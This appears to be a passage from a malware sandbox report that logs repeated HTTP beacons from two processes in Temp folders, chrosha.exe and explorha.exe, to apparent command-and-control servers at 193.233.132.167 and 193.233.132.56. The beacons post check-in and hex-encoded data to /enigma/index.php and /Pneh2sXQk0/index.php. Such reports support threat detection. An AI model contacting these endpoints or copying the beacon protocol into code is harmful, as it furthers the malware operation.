Apr 19, 2024 03:32:41.942235947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.5	50437	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:42.081496000 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:42.331964970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.5	50438	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:42.298578024 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:42.540313005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.5	50439	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:42.692826986 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:42.937803030 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.5	50440	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:42.790445089 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:43.039764881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.5	50441	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:43.187181950 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:43.439666033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.5	50442	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:43.417484999 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:43.666038990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.5	50443	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:43.806570053 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:44.052470922 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.5	50444	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:43.921329975 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:44.171013117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.5	50445	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:44.299585104 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:44.547992945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.5	50446	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:44.521615028 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:44.766058922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.5	50447	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:44.913885117 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:45.163983107 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.5	50448	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:45.017074108 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:45.268862963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.5	50449	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:45.413383961 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:45.662151098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.5	50450	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:45.629239082 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:45.872068882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.5	50451	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:46.020427942 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:46.263108969 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.5	50452	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:46.127648115 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:46.377650023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.5	50453	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:46.508724928 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:46.755616903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.5	50454	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:46.746455908 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:46.996206999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.5	50455	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:47.120392084 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:47.368988991 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.5	50456	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:47.247963905 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:47.501199007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.5	50457	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:47.619848013 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:47.870878935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.5	50458	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:47.869111061 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:48.117096901 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.5	50459	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:48.236463070 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:48.488265991 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
